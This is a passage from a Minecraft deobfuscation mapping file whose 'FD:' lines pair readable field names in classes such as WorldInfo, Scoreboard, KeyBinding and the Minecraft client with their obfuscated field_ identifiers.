net/minecraft/world/storage/WorldInfo/spawnY net/minecraft/world/storage/WorldInfo/field_76096_d +FD: net/minecraft/world/storage/WorldInfo/spawnZ net/minecraft/world/storage/WorldInfo/field_76097_e +FD: net/minecraft/world/storage/WorldInfo/totalTime net/minecraft/world/storage/WorldInfo/field_82575_g +FD: net/minecraft/world/storage/WorldInfo/worldTime net/minecraft/world/storage/WorldInfo/field_76094_f +FD: net/minecraft/world/storage/WorldInfo/lastTimePlayed net/minecraft/world/storage/WorldInfo/field_76095_g +FD: net/minecraft/world/storage/WorldInfo/sizeOnDisk net/minecraft/world/storage/WorldInfo/field_76107_h +FD: net/minecraft/world/storage/WorldInfo/playerTag net/minecraft/world/storage/WorldInfo/field_76108_i +FD: net/minecraft/world/storage/WorldInfo/dimension net/minecraft/world/storage/WorldInfo/field_76105_j +FD: net/minecraft/world/storage/WorldInfo/levelName net/minecraft/world/storage/WorldInfo/field_76106_k +FD: net/minecraft/world/storage/WorldInfo/saveVersion net/minecraft/world/storage/WorldInfo/field_76103_l +FD: net/minecraft/world/storage/WorldInfo/cleanWeatherTime net/minecraft/world/storage/WorldInfo/field_176157_p +FD: net/minecraft/world/storage/WorldInfo/raining net/minecraft/world/storage/WorldInfo/field_76104_m +FD: net/minecraft/world/storage/WorldInfo/rainTime net/minecraft/world/storage/WorldInfo/field_76101_n +FD: net/minecraft/world/storage/WorldInfo/thundering net/minecraft/world/storage/WorldInfo/field_76102_o +FD: net/minecraft/world/storage/WorldInfo/thunderTime net/minecraft/world/storage/WorldInfo/field_76114_p +FD: net/minecraft/world/storage/WorldInfo/theGameType net/minecraft/world/storage/WorldInfo/field_76113_q +FD: net/minecraft/world/storage/WorldInfo/mapFeaturesEnabled net/minecraft/world/storage/WorldInfo/field_76112_r +FD: net/minecraft/world/storage/WorldInfo/hardcore net/minecraft/world/storage/WorldInfo/field_76111_s +FD: net/minecraft/world/storage/WorldInfo/allowCommands net/minecraft/world/storage/WorldInfo/field_76110_t +FD: net/minecraft/world/storage/WorldInfo/initialized net/minecraft/world/storage/WorldInfo/field_76109_u +FD: net/minecraft/world/storage/WorldInfo/difficulty net/minecraft/world/storage/WorldInfo/field_176158_z +FD: net/minecraft/world/storage/SaveFormatComparator/fileName net/minecraft/world/storage/SaveFormatComparator/field_75797_a +FD: net/minecraft/world/storage/SaveFormatComparator/displayName net/minecraft/world/storage/SaveFormatComparator/field_75795_b +FD: net/minecraft/world/storage/SaveFormatComparator/lastTimePlayed net/minecraft/world/storage/SaveFormatComparator/field_75796_c +FD: net/minecraft/world/storage/SaveFormatComparator/sizeOnDisk net/minecraft/world/storage/SaveFormatComparator/field_75793_d +FD: net/minecraft/world/storage/SaveFormatComparator/requiresConversion net/minecraft/world/storage/SaveFormatComparator/field_75794_e +FD: net/minecraft/world/storage/SaveFormatComparator/theEnumGameType net/minecraft/world/storage/SaveFormatComparator/field_75791_f +FD: net/minecraft/world/storage/SaveFormatComparator/hardcore net/minecraft/world/storage/SaveFormatComparator/field_75792_g +FD: net/minecraft/world/storage/SaveFormatComparator/cheatsEnabled net/minecraft/world/storage/SaveFormatComparator/field_75798_h +FD: net/minecraft/world/storage/MapStorage/loadedDataMap net/minecraft/world/storage/MapStorage/field_75749_b +FD: net/minecraft/world/storage/MapStorage/saveHandler net/minecraft/world/storage/MapStorage/field_75751_a +FD: net/minecraft/world/storage/MapStorage/loadedDataList net/minecraft/world/storage/MapStorage/field_75750_c +FD: net/minecraft/world/storage/MapStorage/idCounts net/minecraft/world/storage/MapStorage/field_75748_d +FD: net/minecraft/world/storage/ThreadedFileIOBase/threadedIOInstance net/minecraft/world/storage/ThreadedFileIOBase/field_75741_a +FD: net/minecraft/world/storage/ThreadedFileIOBase/threadedIOQueue net/minecraft/world/storage/ThreadedFileIOBase/field_75739_b +FD: net/minecraft/world/storage/ThreadedFileIOBase/writeQueuedCounter net/minecraft/world/storage/ThreadedFileIOBase/field_75740_c +FD: net/minecraft/world/storage/ThreadedFileIOBase/savedIOCounter net/minecraft/world/storage/ThreadedFileIOBase/field_75737_d +FD: net/minecraft/world/storage/ThreadedFileIOBase/isThreadWaiting net/minecraft/world/storage/ThreadedFileIOBase/field_75738_e +FD: net/minecraft/util/AxisAlignedBB/minX net/minecraft/util/AxisAlignedBB/field_72340_a +FD: net/minecraft/util/AxisAlignedBB/minY net/minecraft/util/AxisAlignedBB/field_72338_b +FD: net/minecraft/util/AxisAlignedBB/minZ net/minecraft/util/AxisAlignedBB/field_72339_c +FD: net/minecraft/util/AxisAlignedBB/maxX net/minecraft/util/AxisAlignedBB/field_72336_d +FD: net/minecraft/util/AxisAlignedBB/maxY net/minecraft/util/AxisAlignedBB/field_72337_e +FD: net/minecraft/util/AxisAlignedBB/maxZ net/minecraft/util/AxisAlignedBB/field_72334_f +FD: net/minecraft/util/MovingObjectPosition$MovingObjectType/MISS net/minecraft/util/MovingObjectPosition$MovingObjectType/MISS +FD: net/minecraft/util/MovingObjectPosition$MovingObjectType/BLOCK net/minecraft/util/MovingObjectPosition$MovingObjectType/BLOCK +FD: net/minecraft/util/MovingObjectPosition$MovingObjectType/ENTITY net/minecraft/util/MovingObjectPosition$MovingObjectType/ENTITY +FD: net/minecraft/util/MovingObjectPosition$MovingObjectType/$VALUES net/minecraft/util/MovingObjectPosition$MovingObjectType/$VALUES +FD: net/minecraft/util/MovingObjectPosition/typeOfHit net/minecraft/util/MovingObjectPosition/field_72313_a +FD: net/minecraft/util/MovingObjectPosition/sideHit net/minecraft/util/MovingObjectPosition/field_178784_b +FD: net/minecraft/util/MovingObjectPosition/hitVec net/minecraft/util/MovingObjectPosition/field_72307_f +FD: net/minecraft/util/MovingObjectPosition/entityHit net/minecraft/util/MovingObjectPosition/field_72308_g +FD: net/minecraft/util/MovingObjectPosition/blockPos net/minecraft/util/MovingObjectPosition/field_178783_e +FD: net/minecraft/util/Vec3/xCoord net/minecraft/util/Vec3/field_72450_a +FD: net/minecraft/util/Vec3/yCoord net/minecraft/util/Vec3/field_72448_b +FD: net/minecraft/util/Vec3/zCoord net/minecraft/util/Vec3/field_72449_c +FD: net/minecraft/scoreboard/ScoreObjective/theScoreboard net/minecraft/scoreboard/ScoreObjective/field_96686_a +FD: net/minecraft/scoreboard/ScoreObjective/name net/minecraft/scoreboard/ScoreObjective/field_96684_b +FD: net/minecraft/scoreboard/ScoreObjective/objectiveCriteria net/minecraft/scoreboard/ScoreObjective/field_96685_c +FD: net/minecraft/scoreboard/ScoreObjective/renderType net/minecraft/scoreboard/ScoreObjective/field_178768_d +FD: net/minecraft/scoreboard/ScoreObjective/displayName net/minecraft/scoreboard/ScoreObjective/field_96683_d +FD: net/minecraft/scoreboard/ScorePlayerTeam/theScoreboard net/minecraft/scoreboard/ScorePlayerTeam/field_96677_a +FD: net/minecraft/scoreboard/ScorePlayerTeam/registeredName net/minecraft/scoreboard/ScorePlayerTeam/field_96675_b +FD: net/minecraft/scoreboard/ScorePlayerTeam/membershipSet net/minecraft/scoreboard/ScorePlayerTeam/field_96676_c +FD: net/minecraft/scoreboard/ScorePlayerTeam/teamNameSPT net/minecraft/scoreboard/ScorePlayerTeam/field_96673_d +FD: net/minecraft/scoreboard/ScorePlayerTeam/namePrefixSPT net/minecraft/scoreboard/ScorePlayerTeam/field_96674_e +FD: net/minecraft/scoreboard/ScorePlayerTeam/colorSuffix net/minecraft/scoreboard/ScorePlayerTeam/field_96671_f +FD: net/minecraft/scoreboard/ScorePlayerTeam/allowFriendlyFire net/minecraft/scoreboard/ScorePlayerTeam/field_96672_g +FD: net/minecraft/scoreboard/ScorePlayerTeam/canSeeFriendlyInvisibles net/minecraft/scoreboard/ScorePlayerTeam/field_98301_h +FD: net/minecraft/scoreboard/ScorePlayerTeam/nameTagVisibility net/minecraft/scoreboard/ScorePlayerTeam/field_178778_i +FD: net/minecraft/scoreboard/ScorePlayerTeam/deathMessageVisibility net/minecraft/scoreboard/ScorePlayerTeam/field_178776_j +FD: net/minecraft/scoreboard/ScorePlayerTeam/chatFormat net/minecraft/scoreboard/ScorePlayerTeam/field_178777_k +FD: net/minecraft/scoreboard/Score/scoreComparator net/minecraft/scoreboard/Score/field_96658_a +FD: net/minecraft/scoreboard/Score/theScoreboard net/minecraft/scoreboard/Score/field_96656_b +FD: net/minecraft/scoreboard/Score/theScoreObjective net/minecraft/scoreboard/Score/field_96657_c +FD: net/minecraft/scoreboard/Score/scorePlayerName net/minecraft/scoreboard/Score/field_96654_d +FD: net/minecraft/scoreboard/Score/scorePoints net/minecraft/scoreboard/Score/field_96655_e +FD: net/minecraft/scoreboard/Score/locked net/minecraft/scoreboard/Score/field_178817_f +FD: net/minecraft/scoreboard/Score/forceUpdate net/minecraft/scoreboard/Score/field_178818_g +FD: net/minecraft/scoreboard/Scoreboard/scoreObjectives net/minecraft/scoreboard/Scoreboard/field_96545_a +FD: net/minecraft/scoreboard/Scoreboard/scoreObjectiveCriterias net/minecraft/scoreboard/Scoreboard/field_96543_b +FD: net/minecraft/scoreboard/Scoreboard/entitiesScoreObjectives net/minecraft/scoreboard/Scoreboard/field_96544_c +FD: net/minecraft/scoreboard/Scoreboard/objectiveDisplaySlots net/minecraft/scoreboard/Scoreboard/field_96541_d +FD: net/minecraft/scoreboard/Scoreboard/teams net/minecraft/scoreboard/Scoreboard/field_96542_e +FD: net/minecraft/scoreboard/Scoreboard/teamMemberships net/minecraft/scoreboard/Scoreboard/field_96540_f +FD: net/minecraft/scoreboard/Scoreboard/field_178823_g net/minecraft/scoreboard/Scoreboard/field_178823_g +FD: net/minecraft/scoreboard/ScoreboardSaveData/logger net/minecraft/scoreboard/ScoreboardSaveData/field_151481_a +FD: net/minecraft/scoreboard/ScoreboardSaveData/theScoreboard net/minecraft/scoreboard/ScoreboardSaveData/field_96507_a +FD: net/minecraft/scoreboard/ScoreboardSaveData/delayedInitNbt net/minecraft/scoreboard/ScoreboardSaveData/field_96506_b +FD: net/minecraft/scoreboard/Team$EnumVisible/ALWAYS net/minecraft/scoreboard/Team$EnumVisible/ALWAYS +FD: net/minecraft/scoreboard/Team$EnumVisible/NEVER net/minecraft/scoreboard/Team$EnumVisible/NEVER +FD: net/minecraft/scoreboard/Team$EnumVisible/HIDE_FOR_OTHER_TEAMS net/minecraft/scoreboard/Team$EnumVisible/HIDE_FOR_OTHER_TEAMS +FD: net/minecraft/scoreboard/Team$EnumVisible/HIDE_FOR_OWN_TEAM net/minecraft/scoreboard/Team$EnumVisible/HIDE_FOR_OWN_TEAM +FD: net/minecraft/scoreboard/Team$EnumVisible/internalName net/minecraft/scoreboard/Team$EnumVisible/field_178830_e +FD: net/minecraft/scoreboard/Team$EnumVisible/id net/minecraft/scoreboard/Team$EnumVisible/field_178827_f +FD: net/minecraft/scoreboard/Team$EnumVisible/field_178828_g net/minecraft/scoreboard/Team$EnumVisible/field_178828_g +FD: net/minecraft/scoreboard/Team$EnumVisible/$VALUES net/minecraft/scoreboard/Team$EnumVisible/$VALUES +FD: net/minecraft/scoreboard/GoalColor/goalName net/minecraft/scoreboard/GoalColor/field_178794_j +FD: net/minecraft/scoreboard/ScoreDummyCriteria/dummyName net/minecraft/scoreboard/ScoreDummyCriteria/field_96644_g +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/INTEGER net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/INTEGER +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/HEARTS net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/HEARTS +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/field_178801_c net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/field_178801_c +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/field_178798_d net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/field_178798_d +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/$VALUES net/minecraft/scoreboard/IScoreObjectiveCriteria$EnumRenderType/$VALUES +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/INSTANCES net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96643_a +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/DUMMY net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96641_b +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/TRIGGER net/minecraft/scoreboard/IScoreObjectiveCriteria/field_178791_c +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/deathCount net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96642_c +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/playerKillCount net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96639_d +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/totalKillCount net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96640_e +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/health net/minecraft/scoreboard/IScoreObjectiveCriteria/field_96638_f +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/field_178792_h net/minecraft/scoreboard/IScoreObjectiveCriteria/field_178792_h +FD: net/minecraft/scoreboard/IScoreObjectiveCriteria/field_178793_i net/minecraft/scoreboard/IScoreObjectiveCriteria/field_178793_i +FD: net/minecraft/stats/ObjectiveStat/stat net/minecraft/stats/ObjectiveStat/field_151459_g +FD: net/minecraft/client/renderer/ActiveRenderInfo/VIEWPORT net/minecraft/client/renderer/ActiveRenderInfo/field_178814_a +FD: net/minecraft/client/renderer/ActiveRenderInfo/MODELVIEW net/minecraft/client/renderer/ActiveRenderInfo/field_178812_b +FD: net/minecraft/client/renderer/ActiveRenderInfo/PROJECTION net/minecraft/client/renderer/ActiveRenderInfo/field_178813_c +FD: net/minecraft/client/renderer/ActiveRenderInfo/OBJECTCOORDS net/minecraft/client/renderer/ActiveRenderInfo/field_178810_d +FD: net/minecraft/client/renderer/ActiveRenderInfo/position net/minecraft/client/renderer/ActiveRenderInfo/field_178811_e +FD: net/minecraft/client/renderer/ActiveRenderInfo/rotationX net/minecraft/client/renderer/ActiveRenderInfo/field_74588_d +FD: net/minecraft/client/renderer/ActiveRenderInfo/rotationXZ net/minecraft/client/renderer/ActiveRenderInfo/field_74589_e +FD: net/minecraft/client/renderer/ActiveRenderInfo/rotationZ net/minecraft/client/renderer/ActiveRenderInfo/field_74586_f +FD: net/minecraft/client/renderer/ActiveRenderInfo/rotationYZ net/minecraft/client/renderer/ActiveRenderInfo/field_74587_g +FD: net/minecraft/client/renderer/ActiveRenderInfo/rotationXY net/minecraft/client/renderer/ActiveRenderInfo/field_74596_h +FD: net/minecraft/client/gui/ChatLine/updateCounterCreated net/minecraft/client/gui/ChatLine/field_74543_a +FD: net/minecraft/client/gui/ChatLine/lineString net/minecraft/client/gui/ChatLine/field_74541_b +FD: net/minecraft/client/gui/ChatLine/chatLineID net/minecraft/client/gui/ChatLine/field_74542_c +FD: net/minecraft/client/settings/KeyBinding/keybindArray net/minecraft/client/settings/KeyBinding/field_74516_a +FD: net/minecraft/client/settings/KeyBinding/hash net/minecraft/client/settings/KeyBinding/field_74514_b +FD: net/minecraft/client/settings/KeyBinding/keybindSet net/minecraft/client/settings/KeyBinding/field_151473_c +FD: net/minecraft/client/settings/KeyBinding/keyDescription net/minecraft/client/settings/KeyBinding/field_74515_c +FD: net/minecraft/client/settings/KeyBinding/keyCodeDefault net/minecraft/client/settings/KeyBinding/field_151472_e +FD: net/minecraft/client/settings/KeyBinding/keyCategory net/minecraft/client/settings/KeyBinding/field_151471_f +FD: net/minecraft/client/settings/KeyBinding/keyCode net/minecraft/client/settings/KeyBinding/field_74512_d +FD: net/minecraft/client/settings/KeyBinding/pressed net/minecraft/client/settings/KeyBinding/field_74513_e +FD: net/minecraft/client/settings/KeyBinding/pressTime net/minecraft/client/settings/KeyBinding/field_151474_i +FD: net/minecraft/client/renderer/RenderHelper/colorBuffer net/minecraft/client/renderer/RenderHelper/field_74522_a +FD: net/minecraft/client/renderer/RenderHelper/LIGHT0_POS net/minecraft/client/renderer/RenderHelper/field_82884_b +FD: net/minecraft/client/renderer/RenderHelper/LIGHT1_POS net/minecraft/client/renderer/RenderHelper/field_82885_c +FD: net/minecraft/client/Minecraft$1/field_74532_a net/minecraft/client/Minecraft$1/field_74532_a +FD: net/minecraft/client/Minecraft$10/field_183016_a net/minecraft/client/Minecraft$10/field_183016_a +FD: net/minecraft/client/Minecraft$10/field_183017_b net/minecraft/client/Minecraft$10/field_183017_b +FD: net/minecraft/client/Minecraft$11/field_74536_a net/minecraft/client/Minecraft$11/field_74536_a +FD: net/minecraft/client/Minecraft$12/field_90055_a net/minecraft/client/Minecraft$12/field_90055_a +FD: net/minecraft/client/Minecraft$13/field_90053_a net/minecraft/client/Minecraft$13/field_90053_a +FD: net/minecraft/client/Minecraft$14/field_74421_a net/minecraft/client/Minecraft$14/field_74421_a +FD: net/minecraft/client/Minecraft$15/field_74503_a net/minecraft/client/Minecraft$15/field_74503_a +FD: net/minecraft/client/Minecraft$16/field_79002_a net/minecraft/client/Minecraft$16/field_79002_a +FD: net/minecraft/client/Minecraft$17/field_74500_a net/minecraft/client/Minecraft$17/field_74500_a +FD: net/minecraft/client/Minecraft$18/field_82887_a net/minecraft/client/Minecraft$18/field_82887_a +FD: net/minecraft/client/Minecraft$2/field_90051_a net/minecraft/client/Minecraft$2/field_90051_a +FD: net/minecraft/client/Minecraft$3/field_90046_a net/minecraft/client/Minecraft$3/field_90046_a +FD: net/minecraft/client/Minecraft$4/field_90048_a net/minecraft/client/Minecraft$4/field_90048_a +FD: net/minecraft/client/Minecraft$5/field_142056_a net/minecraft/client/Minecraft$5/field_142056_a +FD: net/minecraft/client/Minecraft$6/field_151425_a net/minecraft/client/Minecraft$6/field_151425_a +FD: net/minecraft/client/Minecraft$7/field_152389_a net/minecraft/client/Minecraft$7/field_152389_a +FD: net/minecraft/client/Minecraft$8/field_152128_a net/minecraft/client/Minecraft$8/field_152128_a +FD: net/minecraft/client/Minecraft$9/field_183003_a net/minecraft/client/Minecraft$9/field_183003_a +FD: net/minecraft/client/Minecraft/mcProfiler net/minecraft/client/Minecraft/field_71424_I +FD: net/minecraft/client/Minecraft/running net/minecraft/client/Minecraft/field_71425_J +FD: net/minecraft/client/Minecraft/debug net/minecraft/client/Minecraft/field_71426_K +FD: net/minecraft/client/Minecraft/field_175613_B net/minecraft/client/Minecraft/field_175613_B +FD: net/minecraft/client/Minecraft/field_175614_C net/minecraft/client/Minecraft/field_175614_C +FD: net/minecraft/client/Minecraft/field_175611_D net/minecraft/client/Minecraft/field_175611_D +FD: net/minecraft/client/Minecraft/renderChunksMany net/minecraft/client/Minecraft/field_175612_E +FD: net/minecraft/client/Minecraft/debugUpdateTime net/minecraft/client/Minecraft/field_71419_L +FD: net/minecraft/client/Minecraft/fpsCounter net/minecraft/client/Minecraft/field_71420_M +FD: net/minecraft/client/Minecraft/prevFrameTime net/minecraft/client/Minecraft/field_71421_N +FD: net/minecraft/client/Minecraft/logger net/minecraft/client/Minecraft/field_147123_G +FD: net/minecraft/client/Minecraft/locationMojangPng net/minecraft/client/Minecraft/field_110444_H +FD: net/minecraft/client/Minecraft/macDisplayModes net/minecraft/client/Minecraft/field_110445_I +FD: net/minecraft/client/Minecraft/fileResourcepacks net/minecraft/client/Minecraft/field_130070_K +FD: net/minecraft/client/Minecraft/twitchDetails net/minecraft/client/Minecraft/field_152356_J +FD: net/minecraft/client/Minecraft/profileProperties net/minecraft/client/Minecraft/field_181038_N +FD: net/minecraft/client/Minecraft/currentServerData net/minecraft/client/Minecraft/field_71422_O +FD: net/minecraft/client/Minecraft/renderEngine net/minecraft/client/Minecraft/field_71446_o +FD: net/minecraft/client/Minecraft/theMinecraft net/minecraft/client/Minecraft/field_71432_P +FD: net/minecraft/client/Minecraft/fullscreen net/minecraft/client/Minecraft/field_71431_Q +FD: net/minecraft/client/Minecraft/enableGLErrorChecking net/minecraft/client/Minecraft/field_175619_R +FD: net/minecraft/client/Minecraft/hasCrashed net/minecraft/client/Minecraft/field_71434_R +FD: net/minecraft/client/Minecraft/crashReporter net/minecraft/client/Minecraft/field_71433_S +FD: net/minecraft/client/Minecraft/connectedToRealms net/minecraft/client/Minecraft/field_181541_X +FD: net/minecraft/client/Minecraft/timer net/minecraft/client/Minecraft/field_71428_T +FD: net/minecraft/client/Minecraft/usageSnooper net/minecraft/client/Minecraft/field_71427_U +FD: net/minecraft/client/Minecraft/isRunningOnMac net/minecraft/client/Minecraft/field_142025_a +FD: net/minecraft/client/Minecraft/defaultResourcePacks net/minecraft/client/Minecraft/field_110449_ao +FD: net/minecraft/client/Minecraft/mcDefaultResourcePack net/minecraft/client/Minecraft/field_110450_ap +FD: net/minecraft/client/Minecraft/mcResourcePackRepository net/minecraft/client/Minecraft/field_110448_aq +FD: net/minecraft/client/Minecraft/mcLanguageManager net/minecraft/client/Minecraft/field_135017_as +FD: net/minecraft/client/Minecraft/stream net/minecraft/client/Minecraft/field_152353_at +FD: net/minecraft/client/Minecraft/framebufferMc net/minecraft/client/Minecraft/field_147124_at +FD: net/minecraft/client/Minecraft/textureMapBlocks net/minecraft/client/Minecraft/field_147128_au +FD: net/minecraft/client/Minecraft/mcSoundHandler net/minecraft/client/Minecraft/field_147127_av +FD: net/minecraft/client/Minecraft/mcMusicTicker net/minecraft/client/Minecraft/field_147126_aw +FD: net/minecraft/client/Minecraft/mojangLogo net/minecraft/client/Minecraft/field_152354_ay +FD: net/minecraft/client/Minecraft/sessionService net/minecraft/client/Minecraft/field_152355_az +FD: net/minecraft/client/Minecraft/skinManager net/minecraft/client/Minecraft/field_152350_aA +FD: net/minecraft/client/Minecraft/scheduledTasks net/minecraft/client/Minecraft/field_152351_aB +FD: net/minecraft/client/Minecraft/field_175615_aJ net/minecraft/client/Minecraft/field_175615_aJ +FD: net/minecraft/client/Minecraft/mcThread net/minecraft/client/Minecraft/field_152352_aC +FD: net/minecraft/client/Minecraft/modelManager net/minecraft/client/Minecraft/field_175617_aL +FD: net/minecraft/client/Minecraft/blockRenderDispatcher net/minecraft/client/Minecraft/field_175618_aM +FD: net/minecraft/client/Minecraft/debugProfilerName net/minecraft/client/Minecraft/field_71465_an +FD: net/minecraft/client/Minecraft/renderManager net/minecraft/client/Minecraft/field_175616_W +FD: net/minecraft/client/Minecraft/renderItem net/minecraft/client/Minecraft/field_175621_X +FD: net/minecraft/client/Minecraft/itemRenderer net/minecraft/client/Minecraft/field_175620_Y +FD: net/minecraft/client/Minecraft/renderViewEntity net/minecraft/client/Minecraft/field_175622_Z +FD: net/minecraft/client/Minecraft/session net/minecraft/client/Minecraft/field_71449_j +FD: net/minecraft/client/Minecraft/isGamePaused net/minecraft/client/Minecraft/field_71445_n +FD: net/minecraft/client/Minecraft/leftClickCounter net/minecraft/client/Minecraft/field_71429_W +FD: net/minecraft/client/Minecraft/tempDisplayWidth net/minecraft/client/Minecraft/field_71436_X +FD: net/minecraft/client/Minecraft/tempDisplayHeight net/minecraft/client/Minecraft/field_71435_Y +FD: net/minecraft/client/Minecraft/theIntegratedServer net/minecraft/client/Minecraft/field_71437_Z +FD: net/minecraft/client/Minecraft/fileAssets net/minecraft/client/Minecraft/field_110446_Y +FD: net/minecraft/client/Minecraft/launchedVersion net/minecraft/client/Minecraft/field_110447_Z +FD: net/minecraft/client/Minecraft/proxy net/minecraft/client/Minecraft/field_110453_aa +FD: net/minecraft/client/Minecraft/saveLoader net/minecraft/client/Minecraft/field_71469_aa +FD: net/minecraft/client/Minecraft/debugFPS net/minecraft/client/Minecraft/field_71470_ab +FD: net/minecraft/client/Minecraft/rightClickDelayTimer net/minecraft/client/Minecraft/field_71467_ac +FD: net/minecraft/client/Minecraft/serverName net/minecraft/client/Minecraft/field_71475_ae +FD: net/minecraft/client/Minecraft/serverPort net/minecraft/client/Minecraft/field_71477_af +FD: net/minecraft/client/Minecraft/joinPlayerCounter net/minecraft/client/Minecraft/field_71457_ai +FD: net/minecraft/client/Minecraft/jvm64bit net/minecraft/client/Minecraft/field_147129_ai +FD: net/minecraft/client/Minecraft/isDemo net/minecraft/client/Minecraft/field_71459_aj +FD: net/minecraft/client/Minecraft/myNetworkManager net/minecraft/client/Minecraft/field_71453_ak +FD: net/minecraft/client/Minecraft/integratedServerIsRunning net/minecraft/client/Minecraft/field_71455_al +FD: net/minecraft/client/Minecraft/debugCrashKeyPressTime net/minecraft/client/Minecraft/field_83002_am +FD: net/minecraft/client/Minecraft/mcResourceManager net/minecraft/client/Minecraft/field_110451_am +FD: net/minecraft/client/Minecraft/metadataSerializer_ net/minecraft/client/Minecraft/field_110452_an +FD: net/minecraft/client/Minecraft/memoryReserve net/minecraft/client/Minecraft/field_71444_a +FD: net/minecraft/client/Minecraft/playerController net/minecraft/client/Minecraft/field_71442_b +FD: net/minecraft/client/Minecraft/displayWidth net/minecraft/client/Minecraft/field_71443_c +FD: net/minecraft/client/Minecraft/displayHeight net/minecraft/client/Minecraft/field_71440_d +FD: net/minecraft/client/Minecraft/theWorld net/minecraft/client/Minecraft/field_71441_e +FD: net/minecraft/client/Minecraft/renderGlobal net/minecraft/client/Minecraft/field_71438_f +FD: net/minecraft/client/Minecraft/thePlayer net/minecraft/client/Minecraft/field_71439_g +FD: net/minecraft/client/Minecraft/pointedEntity net/minecraft/client/Minecraft/field_147125_j +FD: net/minecraft/client/Minecraft/effectRenderer net/minecraft/client/Minecraft/field_71452_i +FD: net/minecraft/client/Minecraft/fontRendererObj net/minecraft/client/Minecraft/field_71466_p +FD: net/minecraft/client/Minecraft/standardGalacticFontRenderer net/minecraft/client/Minecraft/field_71464_q +FD: net/minecraft/client/Minecraft/currentScreen net/minecraft/client/Minecraft/field_71462_r +FD: net/minecraft/client/Minecraft/loadingScreen net/minecraft/client/Minecraft/field_71461_s +FD: net/minecraft/client/Minecraft/entityRenderer net/minecraft/client/Minecraft/field_71460_t +FD: net/minecraft/client/Minecraft/guiAchievement net/minecraft/client/Minecraft/field_71458_u +FD: net/minecraft/client/Minecraft/ingameGUI net/minecraft/client/Minecraft/field_71456_v +FD: net/minecraft/client/Minecraft/skipRenderWorld net/minecraft/client/Minecraft/field_71454_w +FD: net/minecraft/client/Minecraft/objectMouseOver net/minecraft/client/Minecraft/field_71476_x +FD: net/minecraft/client/Minecraft/gameSettings net/minecraft/client/Minecraft/field_71474_y +FD: net/minecraft/client/Minecraft/mouseHelper net/minecraft/client/Minecraft/field_71417_B +FD: net/minecraft/client/Minecraft/mcDataDir net/minecraft/client/Minecraft/field_71412_D +FD: net/minecraft/client/Minecraft/inGameHasFocus net/minecraft/client/Minecraft/field_71415_G +FD: net/minecraft/client/Minecraft/systemTime net/minecraft/client/Minecraft/field_71423_H +FD: net/minecraft/client/Minecraft/frameTimer net/minecraft/client/Minecraft/field_181542_y +FD: net/minecraft/client/Minecraft/startNanoTime net/minecraft/client/Minecraft/field_181543_z +FD: net/minecraft/util/MouseHelper/deltaX net/minecraft/util/MouseHelper/field_74377_a +FD: net/minecraft/util/MouseHelper/deltaY net/minecraft/util/MouseHelper/field_74375_b +FD: net/minecraft/client/settings/GameSettings$2/field_151477_a net/minecraft/client/settings/GameSettings$2/field_151477_a +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_WIDTH net/minecraft/client/settings/GameSettings$Options/CHAT_WIDTH +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_HEIGHT_FOCUSED net/minecraft/client/settings/GameSettings$Options/CHAT_HEIGHT_FOCUSED +FD: net/minecraft/client/settings/GameSettings$Options/CHAT_HEIGHT_UNFOCUSED net/minecraft/client/settings/GameSettings$Options/CHAT_HEIGHT_UNFOCUSED +FD: net/minecraft/client/settings/GameSettings$Options/MIPMAP_LEVELS net/minecraft/client/settings/GameSettings$Options/MIPMAP_LEVELS +FD: net/minecraft/client/settings/GameSettings$Options/FORCE_UNICODE_FONT net/minecraft/client/settings/GameSettings$Options/FORCE_UNICODE_FONT +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_BYTES_PER_PIXEL net/minecraft/client/settings/GameSettings$Options/STREAM_BYTES_PER_PIXEL +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_VOLUME_MIC net/minecraft/client/settings/GameSettings$Options/STREAM_VOLUME_MIC +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_VOLUME_SYSTEM net/minecraft/client/settings/GameSettings$Options/STREAM_VOLUME_SYSTEM +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_KBPS net/minecraft/client/settings/GameSettings$Options/STREAM_KBPS +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_FPS net/minecraft/client/settings/GameSettings$Options/STREAM_FPS +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_COMPRESSION net/minecraft/client/settings/GameSettings$Options/STREAM_COMPRESSION +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_SEND_METADATA net/minecraft/client/settings/GameSettings$Options/STREAM_SEND_METADATA +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_CHAT_ENABLED net/minecraft/client/settings/GameSettings$Options/STREAM_CHAT_ENABLED +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_CHAT_USER_FILTER net/minecraft/client/settings/GameSettings$Options/STREAM_CHAT_USER_FILTER +FD: net/minecraft/client/settings/GameSettings$Options/STREAM_MIC_TOGGLE_BEHAVIOR net/minecraft/client/settings/GameSettings$Options/STREAM_MIC_TOGGLE_BEHAVIOR +FD: net/minecraft/client/settings/GameSettings$Options/BLOCK_ALTERNATIVES net/minecraft/client/settings/GameSettings$Options/BLOCK_ALTERNATIVES +FD: net/minecraft/client/settings/GameSettings$Options/REDUCED_DEBUG_INFO 